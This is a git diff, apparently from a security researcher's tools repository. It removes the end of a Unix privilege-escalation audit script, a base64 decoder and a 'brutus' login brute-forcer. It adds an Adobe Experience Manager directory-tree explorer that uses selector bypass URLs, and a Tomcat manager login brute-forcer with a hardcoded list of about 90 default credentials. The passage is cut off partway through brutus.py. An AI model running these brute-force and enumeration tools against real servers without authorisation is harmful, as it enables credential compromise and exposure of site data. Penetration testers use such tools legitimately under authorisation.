"$G_USER" ] && [ ! "$M" = "root" ]; then - OTHER_MEMBERS=1 - return 1 - fi - done - - OTHER_MEMBERS=0 - return 0 -} - -world_can_write () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - - P=`ls -lLd $O_FILE | cut -c 9` - S=`ls -lLd $O_FILE | cut -c 10` - - if [ "$P" = "w" ]; then - if [ "$S" = "t" ]; then - echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE (but sticky bit set)" - else - echo "WARNING: $O_MESSAGE_STACK World write is set for $O_FILE" - fi - fi -} - -only_user_can_read () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 - - # We just need to check the owner really as the owner - # can always grant themselves read access - get_owner $O_FILE; O_FILE_USER=$GET_OWNER_RETURN - if [ ! "$O_USER" = "$O_FILE_USER" ] && [ ! "$O_FILE_USER" = "root" ]; then - echo "WARNING: $O_MESSAGE_STACK The user $O_FILE_USER can read $O_FILE" - fi -} - -group_can_read () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - O_USER=$3 - - get_group $O_FILE; O_FILE_GROUP=$GET_GROUP_RETURN - P=`ls -lLd $O_FILE | cut -c 5` - if [ "$P" = "r" ] && [ ! "$O_GROUP" = "root" ]; then - # check the group actually has some members other than $O_USER - group_has_other_members "$O_FILE_GROUP" "$O_USER"; # sets OTHER_MEMBERS to 1 or 0 - if [ "$OTHER_MEMBERS" = "1" ]; then - echo "WARNING: $O_MESSAGE_STACK The group $O_FILE_GROUP can read $O_FILE" - fi - fi -} - -world_can_read () { - O_MESSAGE_STACK=$1 - O_FILE=$2 - - P=`ls -lLd $O_FILE | cut -c 8` - - if [ "$P" = "w" ]; then - echo "WARNING: $O_MESSAGE_STACK World read is set for $O_FILE" - fi -} - -section () { - echo - echo '############################################' - echo $1 - echo '############################################' -} - -# Guess OS -if [ -x /usr/bin/showrev ]; then - OS="solaris" - SHADOW="/etc/shadow" -elif [ -x /usr/sbin/sam -o -x /usr/bin/sam ]; then - OS="hpux" - SHADOW="/etc/shadow" -elif [ -f /etc/master.passwd ]; then - OS="bsd" - SHADOW="/etc/master.passwd" -else - OS="linux" - SHADOW="/etc/shadow" -fi -echo "Assuming the OS is: $OS" -CONFIG_FILES="$CONFIG_FILES $SHADOW" - -# Set path so we can access usual directories. HPUX and some linuxes don't have sbin in the path. -PATH=$PATH:/usr/bin:/bin:/sbin:/usr/sbin; export PATH - -# Check dependent programs are installed -# Assume "which" is installed! -PROGS="ls awk grep cat mount xargs file ldd strings" -for PROG in $PROGS; do - which $PROG 2>&1 > /dev/null - if [ ! $? = "0" ]; then - echo "ERROR: Dependend program '$PROG' is mising. Can't run. Sorry!" - exit 1 - fi -done - -banner - -section "Recording hostname" -hostname - -section "Recording uname" -uname -a - -section "Recording Interface IP addresses" -if [ $OS = 'hpux' ]; then - for IFACE in `lanscan | grep x | awk '{print $5}' 2>/dev/null`; do - ifconfig $IFACE 2>/dev/null - done -else - ifconfig -a -fi - -section "Checking if external authentication is allowed in /etc/passwd" -FLAG=`grep '^+:' /etc/passwd` -if [ -n "$FLAG" ]; then - echo "WARNING: /etc/passwd allows external authentcation:" - grep '^+:' /etc/passwd - EXT_AUTH=1 -else - echo "No +:... line found in /etc/passwd" -fi - -section "Checking nsswitch.conf for addition authentication methods" -if [ -r "/etc/nsswitch.conf" ]; then - NIS=`grep '^passwd' /etc/nsswitch.conf | grep 'nis'` - if [ -n "$NIS" ]; then - echo "WARNING: NIS is used for authentication on this system" - EXT_AUTH=1 - fi - LDAP=`grep '^passwd' /etc/nsswitch.conf | grep 'ldap'` - if [ -n "$LDAP" ]; then - echo "WARNING: LDAP is used for authentication on this system" - EXT_AUTH=1 - fi - - if [ -z "$NIS" ] && [ -z "$LDAP" ]; then - echo "Neither LDAP nor NIS are used for authentication" - fi -else - echo "ERROR: File /etc/nsswitch.conf isn't readable. Skipping checks." -fi - -# Check important config files aren't writable -section "Checking for writable config files" -for FILE in $CONFIG_FILES; do - if [ -f "$FILE" ]; then - check_perms "$FILE is a critical config file." "$FILE" root - fi -done - -section "Checking if $SHADOW is readable" -check_read_perms "/etc/shadow holds authentication data" $SHADOW root - -section "Checking for password hashes in /etc/passwd" -FLAG=`grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#'` -if [ -n "$FLAG" ]; then - echo "WARNING: There seem to be some password hashes in /etc/passwd" - grep -v '^[^:]*:[x\*]*:' /etc/passwd | grep -v '^#' - EXT_AUTH=1 -else - echo "No password hashes found in /etc/passwd" -fi - -section "Checking account settings" -# Check for something nasty like r00t::0:0::/:/bin/sh in /etc/passwd -# We only need read access to /etc/passwd to be able to check this. -if [ -r "/etc/passwd" ]; then - OPEN=`grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":"` - if [ -n "$OPEN" ]; then - echo "WARNING: The following accounts have no password:" - grep "^[^:][^:]*::" /etc/passwd | cut -f 1 -d ":" - fi -fi -if [ -r "$SHADOW" ]; then - echo "Checking for accounts with no passwords" - if [ "$OS" = "linux" ]; then - passwd -S -a | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - STATUS=`echo "$LINE" | awk '{print $2}'` - if [ "$STATUS" = "NP" ]; then - echo "WARNING: User $USER doesn't have a password" - fi - done - elif [ "$OS" = "solaris" ]; then - passwd -s -a | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - STATUS=`echo "$LINE" | awk '{print $2}'` - if [ "$STATUS" = "NP" ]; then - echo "WARNING: User $USER doesn't have a password" - fi - done - fi -else - echo "File $SHADOW isn't readable. Skipping some checks." -fi - -section "Checking library directories from /etc/ld.so.conf" -if [ -f "/etc/ld.so.conf" ] && [ -r "/etc/ld.so.conf" ]; then - for DIR in `grep '^/' /etc/ld.so.conf`; do - check_perms "$DIR is in /etc/ld.so.conf." $DIR root - done - - #FILES=`grep '^include' /etc/ld.so.conf | sed 's/^include *//'` - #if [ ! -z "$FILES" ]; then - # for DIR in `echo $FILES | xargs cat | sort -u`; do - # done - #fi -else - echo "File /etc/ld.so.conf not present. Skipping checks." -fi - -# Check sudoers if we have permission - needs root normally -section "Checking sudo configuration" -if [ -f "/etc/sudoers" ] && [ -r "/etc/sudoers" ]; then - echo ----------------- - echo "Checking if sudo is configured" - SUDO_USERS=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep -v '^[ \t]*Default' | grep =` - if [ ! -z "$SUDO_USERS" ]; then - echo "WARNING: Sudo is configured. Manually check nothing unsafe is allowed:" - grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep = | grep -v '^[ \t]*Default' - fi - - echo ----------------- - echo "Checking sudo users need a password" - SUDO_NOPASSWD=`grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD` - if [ ! -z "$SUDO_NOPASSWD" ]; then - echo "WARNING: Some users can use sudo without a password:" - grep -v '^#' /etc/sudoers | grep -v '^[ \t]*$' | grep NOPASSWD - fi -else - echo "File /etc/sudoers not present. Skipping checks." -fi - -section "Checking permissions on swap file(s)" -for SWAP in `swapon -s | grep -v '^Filename' | cut -f 1 -d ' '`; do - check_perms "$SWAP is used for swap space." $SWAP root - check_read_perms "$SWAP is used for swap space." $SWAP root -done - -section "Checking programs run from inittab" -if [ -f "/etc/inittab" ] && [ -r "/etc/inittab" ]; then - for FILE in `cat /etc/inittab | grep : | grep -v '^#' | cut -f 4 -d : | grep '/' | cut -f 1 -d ' ' | sort -u`; do - check_called_programs "$FILE is run from /etc/inittab as root." $FILE root - done -else - echo "File /etc/inittab not present. Skipping checks." -fi - -section "Checking postgres trust relationships" -for DIR in $PGDIRS; do - if [ -d "$DIR" ] && [ -r "$DIR/pg_hba.conf" ]; then - grep -v '^#' "$DIR/pg_hba.conf" | grep -v '^[ \t]*$' | while read LINE - do - AUTH=`echo "$LINE" | awk '{print $NF}'` - if [ "$AUTH" = "trust" ]; then - PGTRUST=1 - echo "WARNING: Postgres trust configured in $DIR/pg_hba.conf: $LINE" - fi - done - fi -done - -PGVER1=`psql -U postgres template1 -c 'select version()' 2>/dev/null | grep version` - -if [ -n "$PGVER1" ]; then - PGTRUST=1 - echo "WARNING: Can connect to local postgres database as \"postgres\" without a password" -fi - -PGVER2=`psql -U pgsql template1 -c 'select version()' 2>/dev/null | grep version` - -if [ -n "$PGVER2" ]; then - PGTRUST=1 - echo "WARNING: Can connect to local postgres database as \"pgsql\" without a password" -fi - -if [ -z "$PGTRUST" ]; then - echo "No postgres trusts detected" -fi - -# Check device files for mounted file systems are secure -# cat /proc/mounts | while read LINE # Doesn't work so well when LVM is used - need to be root -section "Checking permissions on device files for mounted partitions" -if [ "$OS" = "linux" ]; then - mount | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $1}'` - FS=`echo "$LINE" | awk '{print $5}'` - if [ "$FS" = "ext2" ] || [ "$FS" = "ext3" ] ||[ "$FS" = "reiserfs" ]; then - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - fi - done -elif [ "$OS" = "bsd" ]; then - mount | grep ufs | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $1}'` - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - done -elif [ "$OS" = "solaris" ]; then - mount | grep xattr | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $3}'` - if [ ! "$DEVICE" = "swap" ]; then - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - fi - done -elif [ "$OS" = "hpux" ]; then - mount | while read LINE - do - DEVICE=`echo "$LINE" | awk '{print $3}'` - C=`echo $DEVICE | cut -c 1` - if [ "$C" = "/" ]; then - echo "Checking device $DEVICE" - check_perms "$DEVICE is a mounted file system." $DEVICE root - fi - done - - NFS=`mount | grep NFS` - if [ -n "$NFS" ]; then - echo "WARNING: This system is an NFS client. Check for nosuid and nodev options." - mount | grep NFS - fi -fi - -# Check cron jobs if they're readable -# TODO check that cron is actually running -section "Checking cron job programs aren't writable (/etc/crontab)" -CRONDIRS="" -if [ -f "/etc/crontab" ] && [ -r "/etc/crontab" ]; then - MYPATH=`grep '^PATH=' /etc/crontab | cut -f 2 -d = ` - echo Crontab path is $MYPATH - - # Check if /etc/cron.(hourly|daily|weekly|monthly) are being used - CRONDIRS=`grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-crons` - - # Process run-parts - grep -v '^#' /etc/crontab | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | grep run-parts | while read LINE - do - echo "Processing crontab run-parts entry: $LINE" - USER=`echo "$LINE" | awk '{print $6}'` - DIR=`echo "$LINE" | sed 's/.*run-parts[^()&|;\/]*\(\/[^ ]*\).*/\1/'` - check_perms "$DIR holds cron jobs which are run as $USER." "$DIR" "$USER" - if [ -d "$DIR" ]; then - echo " Checking directory: $DIR" - for FILE in $DIR/*; do - FILENAME=`echo "$FILE" | sed 's/.*\///'` - if [ "$FILENAME" = "*" ]; then - echo " No files in this directory." - continue - fi - check_called_programs "$FILE is run by cron as $USER." "$FILE" "$USER" - done - fi - done - - # TODO bsd'd periodic: - # 1 3 * * * root periodic daily - # 15 4 * * 6 root periodic weekly - # 30 5 1 * * root periodic monthly - - grep -v '^#' /etc/crontab | grep -v '^[ ]*$' | grep '[ ][^ ][^ ]*[ ][ ]*' | while read LINE - do - echo "Processing crontab entry: $LINE" - USER=`echo "$LINE" | awk '{print $6}'` - PROG=`echo "$LINE" | awk '{print $7}'` - check_called_programs "$PROG is run from crontab as $USER." $PROG $USER $MYPATH - done -else - echo "File /etc/crontab not present. Skipping checks." -fi - -# Do this if run-crons is run from /etc/crontab -if [ -n "$CRONDIRS" ]; then - USER=`echo "$CRONDIRS" | awk '{print $6}'` - section "Checking /etc/cron.(hourly|daily|weekly|monthly)" - for DIR in hourly daily weekly monthly; do - if [ -d "/etc/cron.$DIR" ]; then - echo " Checking directory: /etc/cron.$DIR" - for FILE in /etc/cron.$DIR/*; do - FILENAME=`echo "$FILE" | sed 's/.*\///'` - if [ "$FILENAME" = "*" ]; then - echo "No files in this directory." - continue - fi - check_called_programs "$FILE is run via cron as $USER." "$FILE" $USER - done - fi - done -fi - -section "Checking cron job programs aren't writable (/var/spool/cron/crontabs)" -if [ -d "/var/spool/cron/crontabs" ]; then - for FILE in /var/spool/cron/crontabs/*; do - USER=`echo "$FILE" | sed 's/^.*\///'` - if [ "$USER" = "*" ]; then - echo "No user crontabs found in /var/spool/cron/crontabs. Skipping checks." - continue - fi - echo "Processing crontab for $USER: $FILE" - if [ -r "$FILE" ]; then - MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = ` - if [ -n "$MYPATH" ]; then - echo Crontab path is $MYPATH - fi - grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE - do - echo "Processing crontab entry: $LINE" - PROG=`echo "$LINE" | awk '{print $6}'` - check_called_programs "$PROG is run via cron as $USER." "$PROG" $USER - done - else - echo "ERROR: Can't read file $FILE" - fi - done -else - echo "Directory /var/spool/cron/crontabs is not present. Skipping checks." -fi - -section "Checking cron job programs aren't writable (/var/spool/cron/tabs)" -if [ -d "/var/spool/cron/tabs" ]; then - for FILE in /var/spool/cron/tabs/*; do - USER=`echo "$FILE" | sed 's/^.*\///'` - if [ "$USER" = "*" ]; then - echo "No user crontabs found in /var/spool/cron/crontabs. Skipping checks." - continue - fi - echo "Processing crontab for $USER: $FILE" - if [ -r "$FILE" ]; then - MYPATH=`grep '^PATH=' "$FILE" | cut -f 2 -d = ` - if [ -n "$MYPATH" ]; then - echo Crontab path is $MYPATH - fi - grep -v '^#' "$FILE" | grep -v '^[ \t]*$' | grep '[ \t][^ \t][^ \t]*[ \t][ \t]*' | while read LINE - do - echo "Processing crontab entry: $LINE" - PROG=`echo "$LINE" | awk '{print $6}'` - check_called_programs "$PROG is run from cron as $USER." $PROG $USER $MYPATH - done - else - echo "ERROR: Can't read file $FILE" - fi - done -else - echo "Directory /var/spool/cron/tabs is not present. Skipping checks." -fi - -# Check programs run from /etc/inetd.conf have secure permissions -# TODO: check inetd is actually running -section "Checking inetd programs aren't writable" -if [ -f /etc/inetd.conf ] && [ -r /etc/inetd.conf ]; then - grep -v '^#' /etc/inetd.conf | grep -v '^[ \t]*$' | while read LINE - do - USER=`echo $LINE | awk '{print $5}'` - PROG=`echo $LINE | awk '{print $6}'` # could be tcpwappers ... - PROG2=`echo $LINE | awk '{print $7}'` # ... and this is the real prog - if [ -z "$PROG" ] || [ "$PROG" = "internal" ]; then - # Not calling an external program - continue - fi - echo Processing inetd line: $LINE - if [ -f "$PROG" ]; then - check_called_programs "$PROG is run from inetd as $USER." $PROG $USER - fi - if [ -f "$PROG2" ]; then - check_called_programs "$PROG is run from inetd as $USER." $PROG2 $USER - fi - done -else - echo "File /etc/inetd.conf not present. Skipping checks." -fi - -# Check programs run from /etc/xinetd.d/* -# TODO: check xinetd is actually running -section "Checking xinetd programs aren't writeable" -if [ -d /etc/xinetd.d ]; then - for FILE in `grep 'disable[ \t]*=[ \t]*no' /etc/xinetd.d/* | cut -f 1 -d :`; do - echo Processing xinetd service file: $FILE - PROG=`grep '^[ \t]*server[ \t]*=[ \t]*' $FILE | sed 's/.*server.*=[ \t]*//'` - USER=`grep '^[ \t]*user[ \t]*=[ \t]*' $FILE | sed 's/.*user.*=[ \t]*//'` - check_called_programs "$PROG is run from xinetd as $USER." $PROG $USER - done -else - echo "Directory /etc/xinetd.d not present. Skipping checks." -fi - -# Check for writable home directories -section "Checking home directories aren't writable" -cat /etc/passwd | grep -v '^#' | while read LINE -do - echo Processing /etc/passwd line: $LINE - USER=`echo $LINE | cut -f 1 -d :` - DIR=`echo $LINE | cut -f 6 -d :` - SHELL=`echo $LINE | cut -f 7 -d :` - if [ "$SHELL" = "/sbin/nologin" ] || [ "$SHELL" = "/bin/false" ]; then - echo " Skipping user $USER. They don't have a shell." - else - if [ "$DIR" = "/dev/null" ]; then - echo " Skipping /dev/null home directory" - else - check_perms "$DIR is the home directory of $USER." $DIR $USER - fi - fi -done - -# Check for readable files in home directories -section "Checking for readable sensitive files in home directories" -cat /etc/passwd | while read LINE -do - USER=`echo $LINE | cut -f 1 -d :` - DIR=`echo $LINE | cut -f 6 -d :` - SHELL=`echo $LINE | cut -f 7 -d :` - for FILE in $HOME_DIR_FILES; do - if [ -f "$DIR/$FILE" ]; then - check_read_perms "$DIR/$FILE is in the home directory of $USER." "$DIR/$FILE" $USER - fi - done -done - -section "Checking SUID programs" -if [ "$MODE" = "detailed" ]; then - for FILE in `find / -type f -perm -04000 2>/dev/null`; do - check_called_programs_suid $FILE - done -else - echo "Skipping checks of SUID programs (it's slow!). Run again in 'detailed' mode." -fi - -# Check for private SSH keys in home directories -section "Checking for Private SSH Keys home directories" -for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do - if [ -d "$HOMEDIR/.ssh" ]; then - PRIV_KEYS=`grep -l 'BEGIN [RD]SA PRIVATE KEY' $HOMEDIR/.ssh/* 2>/dev/null` - if [ -n "$PRIV_KEYS" ]; then - for KEY in $PRIV_KEYS; do - ENC_KEY=`grep -l 'ENCRYPTED' "$KEY" 2>/dev/null` - if [ -n "$ENC_KEY" ]; then - echo "WARNING: Encrypted Private SSH Key Found in $KEY" - else - echo "WARNING: Unencrypted Private SSH Key Found in $KEY" - fi - done - fi - fi -done - -# Check for public SSH keys in home directories -section "Checking for Public SSH Keys home directories" -for HOMEDIR in `cut -f 6 -d : /etc/passwd`; do - if [ -r "$HOMEDIR/.ssh/authorized_keys" ]; then - KEYS=`grep '^ssh-' $HOMEDIR/.ssh/authorized_keys 2>/dev/null` - if [ -n "$KEYS" ]; then - echo "WARNING: Public SSH Key Found in $HOMEDIR/.ssh/authorized_keys" - fi - fi -done - -# Check for any SSH agents running on the box -section "Checking for SSH agents" -AGENTS=`ps -ef | grep ssh-agent | grep -v grep` -if [ -n "$AGENTS" ]; then - echo "WARNING: There are SSH agents running on this system:" - ps -ef | grep ssh-agent | grep -v grep - # for PID in `ps aux | grep ssh-agent | grep -v grep | awk '{print $2}'`; do - for SOCK in `ls /tmp/ssh-*/agent.* 2>/dev/null`; do - SSH_AUTH_SOCK=$SOCK; export SSH_AUTH_SOCK - AGENT_KEYS=`ssh-add -l | grep -v 'agent has no identities.' 2>/dev/null` - if [ -n "$AGENT_KEYS" ]; then - echo "WARNING: SSH Agent has keys loaded [SSH_AUTH_SOCK=$SSH_AUTH_SOCK]" - ssh-add -l - fi - done -else - echo "No SSH agents found" -fi - -# Check for any GPG agents running on the box -section "Checking for GPG agents" -AGENTS=`ps -ef | grep gpg-agent | grep -v grep` -if [ -n "$AGENTS" ]; then - echo "WARNING: There are GPG agents running on this system:" - ps aux | grep gpg-agent | grep -v grep -else - echo "No GPG agents found" -fi - -# Check files in /etc/init.d/* can't be modified by non-root users -section "Checking startup files (init.d / rc.d) aren't writable" -for DIR in /etc/init.d /etc/rc.d /usr/local/etc/rc.d; do - if [ -d "$DIR" ]; then - for FILE in $DIR/*; do - F=`echo "$FILE" | sed 's/^.*\///'` - if [ "$F" = "*" ]; then - echo "No user startup script found in $DIR. Skipping checks." - continue - fi - echo Processing startup script $FILE - check_called_programs "$FILE is run by root at startup." $FILE root - done - fi -done - -section "Checking if running programs are writable" -if [ $OS = "solaris" ]; then - # use the output of ps command - ps -ef -o user,comm | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - PROG=`echo "$LINE" | awk '{print $2}'` - check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" - done -elif [ $OS = "bsd" ]; then - # use the output of ps command - ps aux | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - PROG=`echo "$LINE" | awk '{print $11}'` - check_called_programs "$PROG is currently running as $USER." "$PROG" "$USER" - done -elif [ $OS = "hpux" ]; then - # use the output of ps command - ps -ef | while read LINE - do - USER=`echo "$LINE" | awk '{print $1}'` - PROG1=`echo "$LINE" | awk '{print $8}'` - PROG2=`echo "$LINE" | awk '{print $9}'` - if [ -f "$PROG1" ]; then - check_called_programs "$PROG is currently running as $USER." "$PROG1" "$USER" - fi - if [ -f "$PROG2" ]; then - check_called_programs "$PROG is currently running as $USER." "$PROG2" "$USER" - fi - done -elif [ $OS = "linux" ]; then - # use the /proc file system - for PROCDIR in /proc/[0-9]*; do - unset PROGPATH - PID=`echo $PROCDIR | cut -f 3 -d /` - echo ------------------------ - echo "PID: $PID" - if [ -d "$PROCDIR" ]; then - if [ -r "$PROCDIR/exe" ]; then - PROGPATH=`ls -l "$PROCDIR/exe" 2>&1 | sed 's/ (deleted)//' | awk '{print $NF}'` - else - if [ -r "$PROCDIR/cmdline" ]; then - P=`cat $PROCDIR/cmdline | tr "\0" = | cut -f 1 -d = | grep '^/'` - if [ -z "$P" ]; then - echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline` - else - PROGPATH=$P - fi - else - echo "ERROR: Can't find full path of running program: "`cat $PROCDIR/cmdline` - continue - fi - fi - get_owner $PROCDIR; OWNER=$GET_OWNER_RETURN - echo "Owner: $OWNER" - else - echo "ERROR: Can't find OWNER. Process has gone." - continue - fi - - if [ -n "$PROGPATH" ]; then - get_owner $PROGPATH; PROGOWNER=$GET_OWNER_RETURN - echo "Program path: $PROGPATH" - check_called_programs "$PROGPATH is currently running as $OWNER." $PROGPATH $OWNER - fi - - if [ "$MODE" == "detailed" ]; then - for FILE in $PROCDIR/fd/*; do - F=`echo "$FILE" | sed 's/^.*\///'` - if [ "$F" = "*" ]; then - continue - fi - check_perms "$FILE is an open file descriptor for process $PID running as $OWNER." $FILE $OWNER - done - fi - done -fi \ No newline at end of file diff --git a/aem-explorer.py b/aem-explorer.py new file mode 100755 index 0000000..86f7a55 --- /dev/null +++ b/aem-explorer.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# AEM (Adobe Experience Manager) vulnerable instance directory tree explorer +import requests +import json +import sys + +print "\n### AEM Explorer ###\n hackerone.com/bl4de :: github.com/bl4de/security-tools :: twitter.com/_bl4de" +print "\n\n usage: ./aem-explorer.py HOST PROTOCOL PAYLOAD \n./aem-explorer.py example.com https .1.json\n\n" + +host = sys.argv[1] # example.com +protocol = sys.argv[2] # https or http +bypass = sys.argv[3] # .childrenlist.json, .1.json etc. + +headers = { + 'Host': host, + 'User-Agent': 'bl4de/HackerOne', + 'Accept': 'application/json' +} + + +def process(): + url = "{}{}{}".format(protocol + '://', host + '/', bypass) + resp = requests.get( + url, + headers=headers + ) + dirtree = json.loads(resp.content) + for d in dirtree: + print d + + while True: + goto_path = raw_input("\n\n>>> ") + url = "{}{}/{}{}".format('https://', host, goto_path + '/', bypass) + print "DIR: {}\n".format(goto_path) + + print url + resp = requests.get( + url, + headers=headers + ) + + if resp.content: + print resp.content + dirtree = json.loads(resp.content) + if dirtree: + for d in dirtree: + if "jcr:" in d: + print "{}: {}".format(d, dirtree[d]) + print " {}".format(d) + + +def main(): + try: + process() + except ValueError: + print "\n[-] No valid JSON returned\n" + process() + + +if __name__ == "__main__": + main() diff --git a/apache-tomcat-login-bruteforce.py b/apache-tomcat-login-bruteforce.py new file mode 100755 index 0000000..b050d2e --- /dev/null +++ b/apache-tomcat-login-bruteforce.py @@ -0,0 +1,159 @@ +#!/usr/bin/env python3 +""" +@author: bl4de | bloorq@gmail.com +@licence: MIT | https://opensource.org/licenses/MIT + +Apache Tomcat credentials bruteforce login +with Tomcat defualt username/password list. + +So technically it's not bruteforcing :) +""" + +import requests +import argparse +import urllib3 + +""" +default Apache Tomcat credentials +source: https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/tomcat-betterdefaultpasslist.txt +""" + +urllib3.disable_warnings() + +credentials = [ + 'admin:', + 'admin:admanager', + 'admin:admin', + 'admin:admin', + 'ADMIN:ADMIN', + 'admin:adrole1', + 'admin:adroot', + 'admin:ads3cret', + 'admin:adtomcat', + 'admin:advagrant', + 'admin:password', + 'admin:password1', + 'admin:Password1', + 'admin:tomcat', + 'admin:vagrant', + 'both:admanager', + 'both:admin', + 'both:adrole1', + 'both:adroot', + 'both:ads3cret', + 'both:adtomcat', + 'both:advagrant', + 'both:tomcat', + 'cxsdk:kdsxc', + 'j2deployer:j2deployer', + 'manager:admanager', + 'manager:admin', + 'manager:adrole1', + 'manager:adroot', + 'manager:ads3cret', + 'manager:adtomcat', + 'manager:advagrant', + 'manager:manager', + 'ovwebusr:OvW*busr1', + 'QCC:QLogic66', + 'role1:admanager', + 'role1:admin', + 'role1:adrole1', + 'role1:adroot', + 'role1:ads3cret', + 'role1:adtomcat', + 'role1:advagrant', + 'role1:role1', + 'role1:tomcat', + 'role:changethis', + 'root:admanager', + 'root:admin', + 'root:adrole1', + 'root:adroot', + 'root:ads3cret', + 'root:adtomcat', + 'root:advagrant', + 'root:changethis', + 'root:owaspbwa', + 'root:password', + 'root:password1', + 'root:Password1', + 'root:r00t', + 'root:root', + 'root:toor', + 'tomcat:', + 'tomcat:admanager', + 'tomcat:admin', + 'tomcat:admin', + 'tomcat:adrole1', + 'tomcat:adroot', + 'tomcat:ads3cret', + 'tomcat:adtomcat', + 'tomcat:advagrant', + 'tomcat:changethis', + 'tomcat:password', + 'tomcat:password1', + 'tomcat:s3cret', + 'tomcat:s3cret', + 'tomcat:tomcat', + 'xampp:xampp', + 'server_admin:owaspbwa', + 'admin:owaspbwa', + 'demo:demo' +] + +def brute(args): + """ + Iterate over login:password pairs from credentials array and send GET request to + Apache Tomcat with Authorization header set + + If HTTP response status is equal 200, we found valid credentials + """ + url = "{}://{}:{}/{}".format(args.proto.lower(), args.host, args.port, args.manager) + for lp in credentials: + (login, password) = lp.split(':') + print("[.] checking {}:{}..................................................\r".format(login, password), end="") + resp = requests.get( + url=url, + auth=(login, password), + verify=False + ) + + # 401 Unauthorized ? + if resp.status_code == 200: + return (login, password) + + return (False, False) + + +def main(): + """ + Main execution routine. + """ + parser = argparse.ArgumentParser() + parser.add_argument( + "-H", "--host", help="Apache Tomcat hostname") + parser.add_argument( + "-P", "--proto", help="Protocol: http or https", choices=['http', 'https']) + parser.add_argument( + "-m", "--manager", help="Path to Host Manager (default: /manager/html)", default="manager/html" + ) + parser.add_argument( + "-p", "--port", type=int, default=8080, help="port (default - 8080)") + + args = parser.parse_args() + + (login, password) = brute(args) + + if login != False: + print("[+] BOOM! Found valid credentials: {}:{}".format(login, password)) + else: + print("[-] No valid credentials found :(") + + exit(0) + + +""" +Run! +""" +main() diff --git a/aqua b/aqua deleted file mode 100755 index d61d4b3..0000000 --- a/aqua +++ /dev/null @@ -1,12 +0,0 @@ -#!/bin/bash -# Aquatone automation script -# usage: ./aqua DOMAIN - -aquatone-discover -d $1 -aquatone-scan -d $1 -aquatone-gather -d $1 - -mv ~/aquatone/$1 . - -echo -echo "[+] DONE" diff --git a/baser.py b/baser.py deleted file mode 100755 index e8b9bcd..0000000 --- a/baser.py +++ /dev/null @@ -1,37 +0,0 @@ -#!/usr/bin/env python - -### created by bl4de | bloorq@gmail.com | twitter.com/_bl4de ### -### github.com/bl4de | hackerone.com/bl4de ### - -import sys -import base64 - -DESC = """ -baser.py - decode base64 file to plaintext -usage: ./baser.py [path_to_file_in_base64] - -""" - - -def usage(): - """ - displays usage message - """ - print DESC - exit(0) - - -def main(fname): - """ - decodes from Base64 - """ - __file = open(fname, 'r').read() - print "{}".format(base64.b64decode(__file.strip())) - - -if __name__ == "__main__": - if len(sys.argv) == 2: - ARGS = sys.argv[1:] - main(ARGS[0]) - else: - usage() diff --git a/brutus/README.md b/brutus/README.md deleted file mode 100644 index b93b957..0000000 --- a/brutus/README.md +++ /dev/null @@ -1,11 +0,0 @@ -## brutus - -This script executes login dictionary and/or bruteforce attacks - -[TBD] - -### Usage: - -``` -$ ./brutus.py -``` \ No newline at end of file diff --git a/brutus/brutus.py b/brutus/brutus.py deleted file mode 100755 index 5a5bc4d..0000000 --- a/brutus/brutus.py +++ /dev/null @@ -1,100 +0,0 @@ -#!/usr/bin/python -# -# Brute force attacker -# bl4de | bloorq@gmail.com | Twitter: @_bl4de -# -import argparse -import socket - - -def create_socket(host, port): - """creates and returns socket""" - connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - connection.connect((host, port)) - return connection - - -def send_request(target, payload, response_size=4096): - """sends payload to target and returns response""" - target.send(payload) - response = target.recv(response_size) - return response - - -def create_http_request(path, host, payload_len, method="POST"): - template = "{} /{} HTTP/1.1\r\nHost: {}\r\n" \ - "Content-Type: application/x-www-form-urlencoded\r\n" \ - "Content-Length: {}\r\n\r\n".format(method, path, host, - payload_len) - return template - - -def single_try(user, passwd, method, counter): - user = user.strip() - passwd = passwd.strip() - print "[*] Trying {}:{}... ({})".format(user, passwd, counter) - - # create POST payload - payload = "user={}&pass={}&submit=Login".format(user, passwd) - payload_len = len(payload) - - # create request - # pwnlab = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - # pwnlab.connect(("192.168.1.2", 80)) - pwnlab = create_socket("192.168.1.2", 80) - - req = create_http_request("?page=login", "192.168.1.2", payload_len, method) - req += payload + "\r\n\r\n" - - # send request and check response - resp = send_request(pwnlab, req) - - counter += 1 - if args.e not in resp: - print "[+] Login sucessful !!!" - exit("{}:{}".format(user, passwd)) - - -# @TODO: option to define success pattern, multi-threading - - -if __name__ == "__main__": - """main program - run HTML analyze""" - parser = argparse.ArgumentParser(description=""" - Brutus.py - dictionary and bruteforce credentials attack tool - - """) - - parser.add_argument('-t', help='IP or URL of the target') - parser.add_argument('-s', help='service to be attacked 